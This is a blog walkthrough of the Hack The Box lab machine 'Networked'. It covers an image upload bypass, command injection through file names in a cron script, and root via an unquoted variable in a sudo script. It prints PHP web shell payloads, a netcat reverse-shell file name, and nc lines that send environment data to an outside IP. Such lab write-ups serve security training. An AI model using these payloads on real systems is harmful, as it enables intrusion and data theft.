HTB: Networked walkthrough

“Networked” Info Card  
Slight hint(s): Unrestricted file upload, bypass image upload restriction, bypass mimetype restriction
Slight hint(s) (PE): shell command injection, unescaped variable command injection

Introduction

Networked is rated as “easy” and fun to do box, which main vectors include an upload restriction bypass and a custom script with unescaped bash variable, which could result in an unusual type of command injection. I consider this box a very close to reality one thus I rated it quite close to a real life attack.

Enumeration

The box itself shows 2 tcp ports as opened – the ssh service running and a web server. Enumerating the web server would show a slight hint about a gallery with an upload function:  Running gobuster would discover two directories with a 301 http response (moved permamently), and following the “backup” directory leads to an archive containing the source code of a web application:

After downloading the backup archive and inspecting the files inside, you could see there is a file named upload.php. Requesting this file through the webserver spawns the following interface: And this is what actually happens when you try to upload a file named rce.php, containing a php snippet: This is a file with an upload functionality, which contains a mime type check to only allow images to be uploaded on the server. The check happens in this way: Following the source further, the check_file_type function is defined in lib.php:
function file_mime_type($file) {
  $regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
  if (function_exists('finfo_file')) {
    $finfo = finfo_open(FILEINFO_MIME);
    if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
    {
      $mime = @finfo_file($finfo, $file['tmp_name']);
      finfo_close($finfo);
      if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
        $file_type = $matches[1];
        return $file_type;
      }
    }
  }

function check_file_type($file) {
  $mime_type = file_mime_type($file);
  if (strpos($mime_type, 'image/') === 0) {
    return true;
  } else {
    return false;
  }
}

Unrestricted file upload

So following all this and testing to upload some kind of file confirms that this is the actual code running on the server. conditions in order to bypass the file upload: 1) The file has to have an ‘image’ mimetype defined within its metadata and has to be over 60000 bytes (lib.php): strpos($mime_type, ‘image/’) === 0 && size > 60000 (0.06MB) 2) The file has to have one of the following extensions:  ‘.jpg’, ‘.png’, ‘.gif’, ‘.jpeg’ (upload.php):
list ($foo,$ext) = getnameUpload($myFile["name"]);
    $validext = array('.jpg', '.png', '.gif', '.jpeg');
    $valid = false;
    foreach ($validext as $vext) {
      if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
        $valid = true;
      }
    }
3) In order to access the file, the string of the IP address, with dots substituted by dashes, and followed by the filename extension could be accessed from within the /uploads folder (lib.php):
function getnameUpload($filename) {
  $pieces = explode('.',$filename);
  $name= array_shift($pieces);
  $name = str_replace('_','.',$name);
  $ext = implode('.',$pieces);
  return array($name,$ext);
}
It is easy to fill in a file with more than 60000 bytes so I will not be going into details on this, but the most simple way is to to append a bunch of new lines using the following one liner:
for i in $(seq 60000); do echo "" >> rce.php; done
or if you want to fill with exactly 60001 bytes of data:
truncate -s 60001 rce.php
In order to bypass the mimetype restriction, you could just include the source code you would like to run as a a comment within the image metadata, or you could use burp to intercept the request, provide a real image file bigger than 60 000 bytes, and then include some php code in it, and make the extension of the image as .php.gif or .php.jpg in order to bypass the extension restrictions in place: # gifsicle
gifsicle < img.gif -- comment "<?php echo system($_GET['cmd']); ?>" > output.php.gif
# exiftool
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' img.php.jpg
Personally I just took one of the images exposed from the photos.php script and then injected a php code snippet within it: # burp method
Injecting php code into image using burpsuite – d7x – PromiseLabs blog
Remote Command Execution on Networked – hackthebox.eu walkthrough – d7x – PromiseLabs blog
Getting a shell from this point is easy:
Getting a shell on networked.htb – Unrestricted file upload (image upload restriction bypass technique) – d7x – PromiseLabs blog – hackthebox.eu walkthrough
For more information and useful resources on unrestricted file upload:

https://www.owasp.org/index.php/Unrestricted_File_Upload
https://sushant747.gitbooks.io/total-oscp-guide/bypass_image_upload.html
http://www.securityidiots.com/Web-Pentest/hacking-website-by-shell-uploading.html
http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Webshells%20In%20PHP,%20ASP,%20JSP,%20Perl,%20And%20ColdFusion.pdf
https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf

Privilege Escalation

Stage #1: Access to guly

The intended way of escalating to root happens in two stages on this box (as on many others recently on hackthebox), and the first one is to get access to a user named “guly”. It seems there is a cron job running, and the script /home/guly/check_attack.php is run by cron every 3rd minute.  If you want a nice and quick resource on crontab syntax you could use crontab.guru for a quick and easy human-readable translation of a cron job.
# check_attack.php

<?php 
require '/var/www/html/lib.php'; 
$path = '/var/www/html/uploads/'; 
$logpath = '/tmp/attack.log'; 
$to = 'guly'; 
$msg= ''; 
$headers = "X-Mailer: check_attack.php\r\n"; 

$files = array(); 
$files = preg_grep('/^([^.])/', scandir($path)); 

foreach ($files as $key => $value) { 
$msg=''; 
if ($value == 'index.html') { 
continue; 
} 
#echo "-------------\n"; 

#print "check: $value\n"; 
list ($name,$ext) = getnameCheck($value); 
$check = check_ip($name,$value); 

if (!($check[0])) { 
echo "attack!\n"; 
# todo: attach file 
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX); 

exec("rm -f $logpath"); 
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"); 
echo "rm -f $path$value\n"; 
mail($to, $msg, $msg, $headers, "-F$value"); 
} 
} 

?>
As we do not have the permissions to alter the cron path directly we have to choose an alternative path to get access on bealf of guly. The weak spot in this script is the  dynamically generated $value variable while iterating through the foreach loop, which is actually the current filename from the /var/www/html/uploads/ directory. As the $path variable is hard-coded, and the $value is actually each filename within the foreach loop current iteration, there is a potential command injection. If you generate a file with a name like ‘| injected command‘ or ‘; <injected command>‘, bash would evaluate this as an actual command when substituting the value of the variable. So I actually played around with this, and the scenario of networked is rather easy – you just create a file named ‘; nc <ip> -c bash’ in the/var/www/html/uploads/ directory, to which you have write access. However, what if the case were you did NOT have write access to /var/www/html/uploads/ or there was some restriction on the location fro which you are able to run a binary or script? There are a few obstacles that you would meet. The first one is the limitation of the filesystem itself and that you can not create a file named with anything containing a backslash “/” sign. For more information on this you could refer to this stackoverflow post titled “Is it possible to use “/” in a filename?

So what are the possible alternatives to this?

Option #1: Use $PATH
– enumerate the PATH variable contents from which the actual cron job is run. After this place the binary to be executed to the first entry of PATH, and create a file with a name running the binary from $PATH. For example, in case $PATH looks like this:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
copy your binary to the first path you have write access to. Then crate a file named
‘; yourbinary’ in /var/www/html/uploads/
For some reason this option didn’t work on the box, probably because cron jobs are run without a tty and there is no PATH defined.
In order to get the current PATH you could use something like the following:
cd /var/www/html/uploads; touch ‘; env > getpath’
Once the cron job runs check out the contents of env would be written to the path where the cron job is run from, i.e. in this case /home/guly/getpath. While testing this /home/guly/getpath was empty, and this is the most possible reason this approach didn’t work.

Another way of getting the current PATH:
# echo -n $PATH | nc 10.10.14.29 9090
# evaluates to ->
touch '; echo -n $PATH | nc 10.10.14.29 9090'

# env | nc 10.10.14.29 9090
# evaluates to ->
touch '; env | nc 10.10.14.29 9090' 

Option #2: Include “..” into PATH
As you can not include a backslash within the filename you create, you could use the parent directory in case you have write access to it, which would be really a rare special condition. However if you define “..” or “~” in PATH, without any slashes, it will always evaluate to the parent directory or to the user’s home directory, respectively:
touch '; export PATH=~:$PATH; evilbinary' # will run ../evilbinary in case evilbinary is not present in the current directory
touch '; export PATH=..:$PATH; evilbinary' # will run ../evilbinary in case evilbinary is not present in the current directory
Then in case you have write access to the parent directory, the script will alter the PATH with its parent and run the binary from the parent directory.

Option #3: $TMP, $TMPDIR or mktemp along with PATH
on some linux configurations there are the $TMP and $TMPDIR variables, and in case they are defined with the “/” at the end for some reason, you could define them into PATH, then run the binary from /tmp.

The other, more elegant option is to use mktemp to create a temp file like this:
mktemp evilbinaryXXX, then substring to /tmp/ and include it into PATH , then run it:
cd /var/www/html/uploads/

touch '; tmp=`mktemp`; export PATH=${tmp:0:4}:$PATH; evilbinary'

touch '; tmp=`mktemp`; export PATH=${tmp:0:4}:$PATH; chown -R guly:guly evilbinary; chmod +x evilbinary'
Let’s now get back to the usual intended way to own the guly user:
Getting access to user Guly – hackthebox.eu walkthrough: Networked

Stage #2: From guly to root

The “sudo -l” command reveals a script which can be run with sudo privileges without a password: The changename.sh script looks as following:
Networked hackthebox.eu walkthrough – sudo script is susceptible to command injection
At first sight there is nothing strange with this script, you may go to check the permissions of the ifcfg-guly script. However although there is a regex in place to check for bad or malicious input, $var=$x  is not coded with quotes so you can execute a command by providing a value such as:
eval /bin/bash
Getting root on Networked – hackthebox.eu walkthrough – d7x – PromiseLabs blog
The ‘evil’ command evaluates as a standard one due to the lack of quotes when assigning the value to $var. In bash there is a difference between assigning using $var=$x and $var=”$x”, although both would work. For more information on this you could refer to something called bash variable substitution on tldp.

Conclusion

Overall a fun box with easy vectors, in my opinion pretty close to a real world scenario on systems lacking basic security prevention and controls, which is usually met in smaller companies where security related tasks are usually given as responsibility into the hands of administrators. If you liked this article and want to follow up on more security related resources and security information you may follow me on my d7x’s twitter.